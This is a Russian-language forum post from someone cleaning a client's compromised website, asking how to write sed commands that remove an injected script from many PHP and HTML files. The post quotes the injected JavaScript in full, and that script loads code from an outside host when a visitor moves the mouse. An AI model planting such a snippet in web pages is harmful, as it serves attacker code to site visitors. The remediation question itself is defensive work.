Добрый день.
Случилась проблема на сайте одного заказчика - злобный вирус пролез на сервер и жестоко покарал большую часть php и html файлов, дописав следующее:
<script type="text/javascript" src="
https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('
http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>
Я хочу автоматом с помощью find -exec sed все убрать. Но не получается написать правильное выражение для sed'а.
1. В коде выше используются одновременно и одинарные и двойные кавычки - не понимаю как это правильно сэкранировать.
2. Я сумел почти решить проблему, разбив на несколько sed'ов:
sed "s#'
http://firefoxstabs.com/'##g" includes/menu.php |
sed "s#'.js'##g" |
sed 's#<script type="text/javascript" src="
https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript( + Math.random().toString().substring(3) + , function() {flag = 2;});}});});</script>#?>#g'
Остался один косяк - это все выводится в консоль. Когда я пытаюсь сделать sed ... | sed ... | sed .. > file в файле оказывается пустота. Что не правильно?